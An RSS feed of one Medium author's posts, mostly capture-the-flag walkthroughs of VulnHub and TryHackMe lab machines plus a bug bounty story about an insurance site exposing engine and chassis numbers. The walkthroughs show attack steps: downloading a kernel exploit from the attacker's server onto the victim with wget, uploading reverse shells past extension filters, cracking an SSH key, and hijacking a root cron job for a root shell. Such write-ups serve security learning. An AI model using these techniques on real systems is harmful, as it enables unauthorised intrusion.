<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Solocoderider on Medium]]></title>
        <description><![CDATA[Stories by Solocoderider on Medium]]></description>
        <link>https://medium.com/@solocoderider?source=rss-2c763bfedca6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vjuG80WP6npQk8Gc</url>
            <title>Stories by Solocoderider on Medium</title>
            <link>https://medium.com/@solocoderider?source=rss-2c763bfedca6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 19:06:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@solocoderider/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[VulnHub: Cybersploit Walkthrough]]></title>
            <link>https://medium.com/@solocoderider/vulnhub-cybersploit-walkthrough-7a0d1d2e3e71?source=rss-2c763bfedca6------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a0d1d2e3e71</guid>
            <dc:creator><![CDATA[Solocoderider]]></dc:creator>
            <pubDate>Mon, 03 Apr 2023 05:55:55 GMT</pubDate>
            <atom:updated>2023-04-03T06:17:14.825Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks</p><p>Hope you are looking for writeup walkthorugh of cybersploit machine here. So let me tell you the way I got in…</p><p>Steps to grab flags….</p><blockquote>1. Scan For the host and its open ports as usual.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEWE9nNxhNsnXM83WfHXAg.png" /><figcaption>nmap ip(1.1.1.0/24) -O</figcaption></figure><blockquote>2. Now check for the web bcz it have http as open port</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*novtsYGQBJEYvRXnldzbCg.png" /></figure><p>So here we have a website which looks like no use of it, but this website is the game changer here. So do scanning and attack we do against website first.</p><ol><li>Directory Brute Force</li><li>Source code analysis</li></ol><p>Yey we it helps a lot guys we got a user name from source code analysis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqq1ybJkvnevC6BuXjAsNA.png" /><figcaption>username:itsskv</figcaption></figure><p>and from the directory brute force we get a base64 encoded text which is act as password here…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*bWo_hnP5ikNHQKw5DfSh2Q.png" /><figcaption>After decrypting text from this directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zoSD1oHiCSWlAWu-5dJcgg.png" /><figcaption>got flag1 which is the password for ssh</figcaption></figure><blockquote>3. So its time to connect… so let me try ssh with these credintials.</blockquote><pre>sudo ssh itsskv@ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvwG6urQ1xnrlTT6wv6v6Q.png" /><figcaption>Got in time to capture the flag</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isc41ZTHOwPl0EX7svkgOA.png" /><figcaption>This flag was in binnary so let’s convert it into text</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ejqpu0qyEZZuKZPUqxsiBQ.png" /><figcaption>Done…</figcaption></figure><blockquote>4. Final Step get the root privilage (sudo mode).</blockquote><p>For this i have done a very basic step which is finding its kernal and os verion using commands</p><pre>uname -a<br>   &amp;<br>cat /etc/issues</pre><p>So these comments make those two visble and with the information i searched for vulnerability exploit in google then i got a exploit from expoilt DB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fB3ZTHuSjAsJZ3GkWPL26g.png" /></figure><p>Downloaded the file a host a server to download it in victims machine</p><p>Commands:</p><pre>On Our machine:<br>  python -m simple.http 80<br><br>On Victims machine:<br>  wget http://ip(our ip)/filename</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXA6AYa_vHAv2reowp-I4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zfxtMBVHBo8HkTqE75J5Ew.png" /></figure><p>After downloading run the commands to execute c file.</p><pre>gcc filename.c<br>./a.out</pre><p>Do it one by one then you will be root</p><p>So check for the final flag and read it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Vrzp7V-VIUHDxwjKW_Xrg.png" /></figure><p>Thats it folks we done it. such a easy machine if you done this without walkthrough thats great and don’t be asshamed of using of walthrough try these steps before looking into another walkthrough</p><p>See you Happy Hacking…</p><p>follow me on <a href="https://www.linkedin.com/in/mohammed-athif-scr/">LinkedIn</a>, <a href="https://instagram.com/mohammed__athif?igshid=ZDdkNTZiNTM=">Instagram</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a0d1d2e3e71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I got a $3000 bounty in 3 min.]]></title>
            <link>https://medium.com/@solocoderider/how-i-got-a-3000-bounty-in-5-min-2e19da81db46?source=rss-2c763bfedca6------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e19da81db46</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[earings]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Solocoderider]]></dc:creator>
            <pubDate>Thu, 29 Sep 2022 16:13:27 GMT</pubDate>
            <atom:updated>2022-09-29T19:11:40.166Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi all,</p><p>I hope you guys are doing well. Before reading this, This bug was found within minutes, but the actual hunting started 3 years ago with no rewards,</p><p>I have researched and pentesting for years as I mentioned before. Every finding which I found with the deep intention of bug hunting was a successful failure (no bounties)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*gkQj2G_9vDMnh0rTnhRDaw.gif" /></figure><p>and this bug was actually not found on testing 😜.</p><p><strong>Now to the story part “how I got it&quot;.</strong></p><p>Like most of my day, this day was begun. my cousin came up to me and said “my bike insurance was over can you renew it immediately?” as usual I agree and open the insurance app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*E6J9eGMw5smoKWBsX7hX8A.jpeg" /></figure><p>And yeah this bug was found at the insurance web-application. by the way I forgot to tell you what bug I got, it is <em>SENSITIVE DATA EXPOSURE</em></p><p>Let’s continue the story. I entered the details like</p><ul><li>bike registration number</li><li>confirm bike model</li><li>enter his name</li><li>enter address</li><li>enter nominee details</li></ul><p>Then I click Enter on my keyboard 😁.</p><p>The lucky bug pops up in the next phase of the insurance company was to confirm vehicle details that have sensitive data (engine number and chassis number).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*caothIWYjFxkA5Adshc0pw.jpeg" /></figure><p>When I saw that bug, the bug hunter sleeping inside me woke up and told me to test this with my neighbour uncle’s bike number 🌝. Luckily I got his engine number and chassis number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*d_V0gCDg7nmhix23VURdpA.gif" /></figure><p>If you guys are thinking what is he saying about how engine number and chassis number would be sensitive data?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*2qXo8JNaD1UR8ETe1fLATA.gif" /></figure><p>Let me explain, as an Indian govt rule a bike rider should carry RC (digital/printed). so for adding RC into the government application rider only required an RC number, engine number, and chassis number <em>(these last two numbers are only available on the original RC or check physically on the bike).</em></p><p>So if these data get into an attacker he can sell them to the illegal dealer, who can add RC into their mobile application without physically accessing the bike. So they can do any illegal activity with other bike owner’s details and if the police caught them it looks like RC is shared by the owner and he also gets punished for an offense he didn’t know.</p><p>As a conclustion i have to say don’t be sad for not getting bounties it will come into you at the right time. be alert always all bugs are not in backend you can find it infront of you. keep learning it will alert you in situation like this and may lead to huge bounties.</p><p>“Wait for your three minutes… and never forget to work your three years”</p><p>Thank you</p><blockquote>Follow me on <a href="https://www.instagram.com/mohammed__athif/">Instagram</a>, <a href="https://www.linkedin.com/in/mohammed-athif-7390b9202/">LinkedIn</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e19da81db46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe : Vulnversity Walkthrough]]></title>
            <link>https://medium.com/@solocoderider/tryhackme-vulnversity-walkthrough-3786b767963a?source=rss-2c763bfedca6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3786b767963a</guid>
            <category><![CDATA[vulnversity]]></category>
            <category><![CDATA[solocoderider]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[crs]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Solocoderider]]></dc:creator>
            <pubDate>Sat, 19 Feb 2022 07:18:10 GMT</pubDate>
            <atom:updated>2022-02-19T07:18:10.911Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe : Vulnversity Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*aonfR0avER0h8gKbZPrVeg.png" /></figure><blockquote>TASK 1</blockquote><p>Connect to OPENVPN and deploy the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF3BnAHqe45aD793cJ325Q.jpeg" /></figure><p><strong>Deploy the machine</strong></p><p><em>No answer needed</em></p><blockquote>TASK 2</blockquote><p>Scan the ports using nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YCaNQMcM5gAGr_JQY2mBPQ.jpeg" /><figcaption>nmap -sV -A -Pn &lt;MACHINE_IP&gt;</figcaption></figure><p><strong>There are many nmap “cheatsheets” online that you can use too.</strong></p><p><em>No answer needed.</em></p><p><strong>Scan the box, how many ports are open?</strong></p><p><em>6</em></p><p><strong>What version of the squid proxy is running on the machine?</strong></p><p><em>3.5.12</em></p><p><strong>How many ports will nmap scan if the flag -p-400 was used?</strong></p><p><em>400</em></p><p><strong>Using the nmap flag -n what will it not resolve?</strong></p><p><em>DNS</em></p><p><strong>What is the most likely operating system this machine is running?</strong></p><p><em>Ubuntu</em></p><p><strong>What port is the web server running on?</strong></p><p><em>3333</em></p><p><strong>Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)</strong></p><p><em>No answer needed.</em></p><blockquote>TASK 3</blockquote><p>We got a http web-server on port 3333.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YVxRfUnNdtyZdSmOaNjqA.jpeg" /></figure><p>so we can do a directory brute-force in here using gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJFnWO1Me6yxaeKvIMn5Jg.jpeg" /><figcaption>gobuster dir -u &lt;http://MACHINE_IP:3333/&gt; -w /usr/share/dirb/wordlists/common.txt — no-error.</figcaption></figure><p><strong>What is the directory that has an upload form page?</strong></p><p><em>/internal/</em></p><blockquote>TASK 4</blockquote><p>We got a upload directory here <em>(/internal/)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmTcLNycNkpwXI16DTy4hA.jpeg" /></figure><p>So lets upload a reverse shell here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqsmtZZsELV6IYJblKjo7g.jpeg" /><figcaption>change the IP into tunnelling IP</figcaption></figure><p>Oh no.. its not allowing .php extention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-p1UtGUxA87IzaboS5DWw.jpeg" /></figure><p>Then lets do a brute-force technique using burpsuit to find which extension is allowed by this site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_j0_HGt-KqNMeASg43YjsQ.jpeg" /></figure><p>capture the request and sent to intruder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3SHAJhyrRPnF8L09QiVoQ.jpeg" /><figcaption>clear and add php section in spider option.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHDlDqJ3d_Zo8FkVXbFiTA.jpeg" /></figure><p>set different PHP extension as payloads and start the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tu3HglJ-KjGBt9dNd_RyvA.jpeg" /></figure><p>Check the result, we got a different response for <strong>.phtml.</strong></p><p>Lets change the reverse shell extension into .phtml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoOJD_9NqfGzRotWeYqiYg.jpeg" /><figcaption>mv shell.php shell.phtml</figcaption></figure><p>Now try to upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBfv15klfzdhyTCCWkgYWQ.jpeg" /></figure><p>shell uploaded successfully.</p><p>There is hint which we have the directory of uploaded file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZgekJsN8K3jA9FSTwoC5g.jpeg" /></figure><p>Set listener on port 1234 and load the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsATm_kZ1djQGy0h2r5WlQ.jpeg" /><figcaption>nc -lvnp 1234</figcaption></figure><p>Hurray we got the shell.</p><p>Now lets find user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvB88zJ3mCOBRw1nhDv26Q.jpeg" /></figure><p><strong>Try upload a few file types to the server, what common extension seems to be blocked?</strong></p><p><em>.php</em></p><p><strong>To do this, we’re going to use BurpSuite.</strong></p><p><em>No answer needed.</em></p><p><strong>Run this attack, what extension is allowed?</strong></p><p><em>.phtml</em></p><p><strong>To gain remote access to this machine, follow these steps:</strong></p><p><em>No answer needed.</em></p><p><strong>What is the name of the user who manages the webserver?</strong></p><p><em>bill</em></p><p><strong>What is the user flag?</strong></p><p><em>Find by own</em></p><blockquote>TASK 5</blockquote><p>Time to be a root. So lets find the suid bits which are running here by the root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9sZXr8P1uBJY2-zdxyqPRw.jpeg" /><figcaption>find / -perm -u=s -type f 2&gt;/dev/null</figcaption></figure><p>Find the suid bits escalation in <a href="https://gtfobins.github.io/gtfobins/systemctl/#suid">GTFObins</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v3qGa1NEryN5zRY2i4mw7Q.jpeg" /><figcaption>copy the marked part and make change mentioned below.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e3Az0aB28R73R2Kd2XGL8Q.jpeg" /><figcaption>change id part to /root/root.txt and add /bin before systemctl</figcaption></figure><p>Now copy and paste it in our shell.</p><p>It will run successfully and save flag in <em>/tmp/output</em>. For the flag</p><p><em>cat /tmp/output</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7piLQxGRPl6HmCEML9vVg.jpeg" /></figure><p><strong>On the system, search for all SUID files. What file stands out?</strong></p><p><em>/bin/systemctl</em></p><p><strong>Its challenge time! We have guided you through this far, are you able to exploit this system further to escalate your privileges and get the final answer?</strong></p><p><strong>Become root and get the last flag (/root/root.txt)</strong></p><p>Find your own using steps mentioned above.</p><p>Thank you for reading my write-up. Follow my <a href="https://www.instagram.com/solo_code_rider/">Instagram </a>for queries and help regarding machines.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3786b767963a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe : OVERPASS Walkthrough]]></title>
            <link>https://medium.com/@solocoderider/tryhackme-overpass-walkthrough-ff25caac952d?source=rss-2c763bfedca6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff25caac952d</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[crs]]></category>
            <category><![CDATA[passover]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Solocoderider]]></dc:creator>
            <pubDate>Mon, 14 Feb 2022 12:09:11 GMT</pubDate>
            <atom:updated>2022-02-15T04:00:35.634Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe : OVERPASS Walkthrough</h4><blockquote>Task 1</blockquote><p>Deploy the machine after connecting to openvpn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZOCqpeesGZhIRI5I0EyW7Q.png" /><figcaption>sudo openvpn &lt;OPENVPN_NAME&gt;</figcaption></figure><p>Lets Dig in.</p><p>Scan for the open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aK-oXOsuPQiXm_uIVR0H5w.png" /><figcaption>sudo nmap -A -Pn &lt;MACHINE_IP&gt;</figcaption></figure><p>then we got http and ssh as open port. now I am going look http site with this ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDLnBO1mn0Yqel7p90XU5g.png" /></figure><p>In this I can’t find anything helpful so I decided to look for hidden directories with help of gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k80FqjNUDg_CHqertUodiQ.png" /><figcaption>gobuster dir -u http://&lt;machine_ip&gt; -w &lt;wordlist&gt;</figcaption></figure><p>That’s interesting I got an admin panel (/admin).</p><p>so lets see what in there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gBvK1QRKGbCb8wE5pd7V4A.png" /></figure><p>it is a login page so I tried default credential and SQLi to get logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfpzp_rc6oWv5YSBB3H4-w.png" /></figure><p>that not works anymore here.😪</p><p>Finally I decided to check the response of this request using burp suit repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWa3qHMNtrPVyxaHI9uwHg.png" /></figure><p>here we go… the request seems 200 ok but it fails to login which means there is no proper validation.</p><p>So I changed the response from first captured request in proxy and forward it by Do intercept option in burp suit as you see below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdIh4LSJG4TSOd9VFFFqkQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRfGtUhYa-8uZKEByrT55g.png" /></figure><p>and refreshed the page after forwarding the response (turn of the proxy before refreshing).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uI7fDNo-c5Acbb0e2Wx_xA.png" /></figure><p>We got a RSA key of user james. lets connect it through ssh .</p><blockquote>RSA connection procedures</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0_xUgW9AJpHsinhVlwEYQ.png" /><figcaption>nano key.txt</figcaption></figure><ol><li>Save the RSA as a text file.</li><li>change the permission into <strong>600</strong>. <em>chmod 600 filename</em></li></ol><p>Now try to connect it..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTfY0bOT5nH-oI_LUkI0WQ.png" /><figcaption>ssh -i &lt;key.txt&gt; &lt;username@IP&gt;</figcaption></figure><p>there is a problem we need a passphrase for this RSA key.</p><p>For that we use ssh2john.py it will change this into an hash and we can crack it with john the ripper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gUmh6Nx-mjd60OFB7nanA.png" /><figcaption>python /usr/share/john/ssh2john.py key.txt &gt; key.hash</figcaption></figure><p>Now crack this with john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d3QcqcrA9lZySIE9Pn08Ag.png" /></figure><p>try to login with this key and passphrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BgTqcx06_PImDW5UaK2RA.png" /></figure><p>We get in successfully. lets read the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q_8X_4nEOF1AWk1UVkcUSg.png" /></figure><p><strong>Its Time To Escalate</strong></p><p>For this we looking for <a href="https://cron-job.org/en/">cron-job</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8d5IpL5eF7crFBF9OYDAfA.png" /><figcaption><em>cat /etc/crontab</em></figcaption></figure><p>We are lucky because here root running a cron-job to curl into a hosted service if we can duplicate the hosts in our machine we can execute a reverse shell of root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKF6PcuJM6axvTgd8Gg8sA.png" /><figcaption>In Our Machine</figcaption></figure><p>We making a directors and file exactly like in cron-job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFRfTBF4hsoDJsLViMkyyw.png" /><figcaption>change ip with your tunneling IP</figcaption></figure><p>and write a script for reverse shell, Then host a python server in parent folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bqb696DQmSNbYyRRS5Y3VQ.png" /></figure><p>Now its time to change IP in overpass machine to our server’s IP which is our tunneling IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YX1ajd8HAORrU8FtXsAH7A.png" /><figcaption>nano /etc/hosts</figcaption></figure><p>open a new tab and start netcat listner on port 1234</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86i_uZe7WAInv_-YYzf1zg.png" /><figcaption>nc -lvnp 1234</figcaption></figure><p>Yess we got the root shell.🥳</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ee1RHBLsUTzS2PPWVnWcw.png" /></figure><p>check for the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgvtS2y0M0GQCeYGpcwO8w.png" /></figure><p>Enter user flag and root flag in tryhackme and complete the challange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZP8Tl60xFz3ar40ryzscEA.png" /></figure><p>Thank you for reading this writeup. Hope you understand how we get complete. follow me <a href="https://www.instagram.com/solo_code_rider/">Instagram </a>for updates of latest security reports.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff25caac952d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: ROOTME Walkthrough]]></title>
            <link>https://medium.com/@solocoderider/tryhackme-rootme-walkthrough-6c4fc0a2d59?source=rss-2c763bfedca6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c4fc0a2d59</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-rootme]]></category>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[solocoderider]]></category>
            <dc:creator><![CDATA[Solocoderider]]></dc:creator>
            <pubDate>Fri, 11 Feb 2022 17:07:51 GMT</pubDate>
            <atom:updated>2022-02-12T11:28:21.815Z</atom:updated>
            <content:encoded><![CDATA[<p>Lets get started…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMxD9kql8Yk2IzNOEYpIfw.png" /></figure><p>First is first, let’s connect to the openvpn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPTELBHuSA6Cak7RL7WNDw.png" /><figcaption>sudo openvpn vpn_name</figcaption></figure><blockquote>TASK 1</blockquote><ol><li><strong>Deploy the machine</strong></li></ol><p><strong><em>No answer needed</em></strong></p><blockquote>TASK 2</blockquote><p>Scan for the open ports using nmap tool with deployed machine ip. command :- nmap -A -Pn <em>&lt;MACHINE_IP&gt;</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wuCBVkX1w0YfBLQgeN-KA.png" /></figure><p>On this scanning we got a http and ssh port as open lets do a directory brute-force using gobuster because we got a http site.</p><p>comand :- gobuster dir -u <a href="http://machine/">http://<em>&lt;</em></a>MACHINE_IP&gt;<em> </em>-w <em>wordlist</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T26Of-AV8QLt6NlwVLqANw.png" /></figure><p><strong>Scan the machine, how many ports are open?</strong></p><p><em>2</em></p><p><strong>What version of Apache is running?</strong></p><p><em>2.4.49</em></p><p><strong>What service is running on port 22?</strong></p><p><em>ssh</em></p><p><strong>Find directories on the web server using the GoBuster tool.</strong></p><p><em>No answer needed</em></p><p><strong>What is the hidden directory?</strong></p><p><em>/panel/</em></p><blockquote>TASK 3</blockquote><p>Now lets check what in /panel then I found a upload directory so I decided to upload a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxjuSZkVQnHhwoBOUpQGNA.png" /><figcaption>Change the ip as your tunneling IP</figcaption></figure><p>Then I try to upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FtVhSX6A16S8CW9Ob0yOnw.png" /></figure><p>Guys it filtering .php extension so let trick it 😁 by changing php to php5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*he6uLQctPvb16vzkdFm-rA.png" /></figure><p>Huray we uploaded it..</p><p>Now we start the action part. On directory brute-force we found /uploads so we go look into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOR9QHO9tARgGBR-GLTmjA.png" /></figure><p>here we go. now put a listener in your terminal and open shell.php5 from /uploads directory</p><p>command :- <em>nc -lvnp 1234</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SD2c1IDY8P43h36fUW-ixg.png" /></figure><p>Guys we got the shell now lets find user.txt using locate comand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RgOSN3ZAioRc4UgQOjmnsQ.png" /><figcaption>Please Don’t copy paste it try to find flag by yourself that can only improve your skill.</figcaption></figure><p><strong>user.txt</strong></p><p><em>THM{try your own}</em></p><blockquote>TASK 4</blockquote><p>Time to be a root. Lets find which suid bits are running here…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXL9iQfpoDtlEfnvKrrQ2w.png" /><figcaption>find / -perm -u=s -type f 2&gt;/dev/null</figcaption></figure><p>Here /usr/bin/python seems vulnerable. So lets find privilage escalation comand in <a href="https://gtfobins.github.io/gtfobins/python/#suid">GTFOBins</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BVQTKnUsaZA5lOjUzkpOKw.png" /></figure><p>Just copy paste that selected comand in your shell and see the escalation</p><p>and find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2ifXCe3T34EuGKSjOAtWQ.png" /></figure><p><strong>Search for files with SUID permission, which file is weird?</strong></p><p>/usr/bin/python</p><p><strong>Find a form to escalate your privileges.</strong></p><p><em>No answers needed</em></p><p><strong>root.txt</strong></p><p><em>THM{try your own}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sl3MQy8qNzdknltPxnJ6_w.png" /></figure><p>Thank you for reading my writeup. follow me on Instagram <a href="https://www.instagram.com/solo_code_rider/">solocoderider</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c4fc0a2d59" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>